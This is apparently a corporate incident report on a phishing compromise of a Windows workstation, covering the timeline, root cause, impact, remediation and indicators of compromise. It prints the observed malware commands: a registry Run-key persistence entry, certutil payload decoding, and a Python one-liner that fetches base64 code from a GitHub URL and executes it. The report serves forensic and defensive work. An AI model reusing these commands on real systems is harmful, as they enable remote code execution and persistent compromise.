Post-Compromise Incident Report

Date: Oct 22nd, 2024
Time: 17:03:42 (UTC-3)
Prepared by: Giovanni Alves
Host Affected: Workstation1
Username: XYZ\user1
Incident Type: Drive-by Compromise + Phishing + Malicious File Execution
File Executed:

```
C:\Users\user1\Downloads\Compilação_de_vídeos_e_imagens_protegidos_por_direitos_autorais\Compilação de vídeos e imagens protegidos por direitos autorais.exe
```

File Hash (SHA-256):

```
08c7fb6067acc8ac207d28ab616c9ea5bc0d394956455d6a3eecb73f8010f7a2
```

---

1. Executive Summary

On October 22nd, 2024, a workstation belonging to user **XYZ\user1** was compromised following the execution of a malicious file downloaded through a **phishing email delivered via Outlook**. The user interacted with a malicious link, downloaded the payload, and executed it, allowing a multi-stage infection chain to run on the endpoint.

The attack successfully established **persistence**, extracted encrypted content, and attempted to download and execute **additional malware from a GitHub repository** that had been created less than two weeks ago — strongly suggesting the deployment of a **Remote Access Trojan (RAT)**.

The security platform (Cortex) blocked only part of the activity. Some artifacts successfully executed, dropping additional files and enabling persistence.

The host has been isolated and requires immediate full remediation.

---

2. Timeline of Events

Timestamp	Event
16:55:56	User receives phishing email in Outlook
17:03:42	User clicks malicious shortened URL (`t.ly/34h2J`)
17:03:43	User downloads malicious EXE file
17:03:55	Malicious file is executed
17:03:56	Multi-stage payload begins: RAR extraction, persistence creation, execution of Python-based loader
17:03:56	Malware attempts retrieval of remote code from GitHub
17:04:12	Cortex partially blocks artifact but a batch file successfully executes
17:26:47	Host is isolated by security team

---

3. Incident Description

Investigation confirmed that the user interacted with a **phishing email**, leading to the download and execution of a malicious executable disguised as copyrighted media content. Upon execution, the malware performed:

- Environment preparation
- Encrypted archive extraction
- Execution of a BAT file
- Creation of a persistence entry in the Registry
- Execution of a Python-based loader via `synaptics.exe`
- Retrieval of base64-encoded remote payload from GitHub
- Decoding of an additional payload using **certutil**

This activity aligns with **initial access + execution + persistence + command retrieval**, matching typical behaviors of commodity and custom **RATs**.

---

4. Root Cause Analysis

User Behavior

The infection originated from:

- A **phishing email** opened in Outlook
- A malicious link leading to the download of the Trojan
- User execution of the malicious EXE file

Technical Root Cause

Parent process chain confirming phishing execution:

```
Parent: C:\Program
Files\WindowsApps\Microsoft.OutlookForWindows\olk.exe
Process: C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe
URL: https[:]//t[.]ly/34h2J
```

The malware performed the following sequence:

Executed Commands and Actions

1. Set console encoding:

```
chcp 65001
```

2. Extract encrypted RAR archive:

```
Photos\Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y
Photos\QExvbmVOb25l.rar
C:\Users\user1\AppData\Local\QExvbmVOb25l
```

3. Execute batch file:

```
cmd /c "...\Compilação de vídeos e imagens protegidos por
direitos autorais.bat"
```

4. Establish persistence:

```
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/v "Windows Security"
/t REG_SZ
/d "C:\Windows\Explorer.EXE
C:\Users\user1\AppData\Local\Windows Securxty.bat" /f
```

5. Execute Python-based RAT loader:

```
synaptics.exe -c "
import urllib.request;
import base64;
exec(base64.b64decode(
urllib.request.urlopen(
'https[:]//raw.githubusercontent.com/lonenone8386/rex/refs/hea
ds/main/Adonis_ALL'
).read().decode('utf-8')))
"
```

6. Decode additional payload:

```
certutil -f -decode
"C:\Users\user1\AppData\Local\Windows Security.~b64"
"C:\Users\user1\AppData\Local\Windows Security.bat"
```

Remote Resource Analysis

The GitHub repository **https[:]//github[.]com/lonenone8386**:

- Created less than **2 weeks** before the incident
- Contains unsupported / minimal content

- Hosts suspicious Python loader code

Likely intent: Deployment of a **RAT** with remote command execution capability.

---

5. Impact Assessment

Confirmed Impact

- Malicious file executed successfully
- Persistence created (registry Run key)
- Remote payload retrieval attempted and partially executed
- Batch file dropped and executed
- Possible RAT loader partially executed

Prevented / Limited Impact

- Cortex blocked part of the chain
- Full remote control not confirmed
- No lateral movement observed (so far)
- No credential dumping confirmed (so far)

Overall Risk

HIGH — due to successful execution and persistence.
Full system trust must be considered compromised.

---

6. Containment and Mitigation

Actions Performed

- Host was **isolated** from the network.

Required Remediation

1. Mandatory:

- **Full system format (reimage)**
- **Password reset** for the affected user and any accounts logged into the machine

2. Recommended:

- Review anti-phishing configurations
- Enable attachment sandboxing
- Enhance user awareness training
- Enable stricter URL rewriting / detection in Outlook
- Block access to URL shorteners (common phishing vectors)

---

7. Indicators of Compromise (IOCs)

File

- Executable name disguised with copyright theme
- SHA-256: `08c7fb6067acc8ac207d28ab616c9ea5bc0d394956455d6a3eecb73f8010f7a2`

URLs

- `https[:]//t[.]ly/34h2J`
- `https[:]//raw.githubusercontent[.]com/lonenone8386/rex/...`

Persistence

```
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value: "Windows Security"
```

Dropped Files

- `Windows Security.bat`
- Extracted content from encrypted RAR archive
- Python-based malware loader

---

8. Final Assessment

The endpoint **was compromised** via a phishing attack leading to manual file execution. The malware executed multiple stages, created persistence, and attempted to download external malicious code. Although partially blocked, the infection succeeded in running elements consistent with a **Remote Access Trojan (RAT)**.

Because the trust of the machine is lost, **complete reimaging** is required.

---

9. Conclusion

This incident demonstrates the continued threat of phishing combined with disguised malicious executables. User interaction allowed the compromise, and response actions prevented escalation but could not fully stop the malware chain.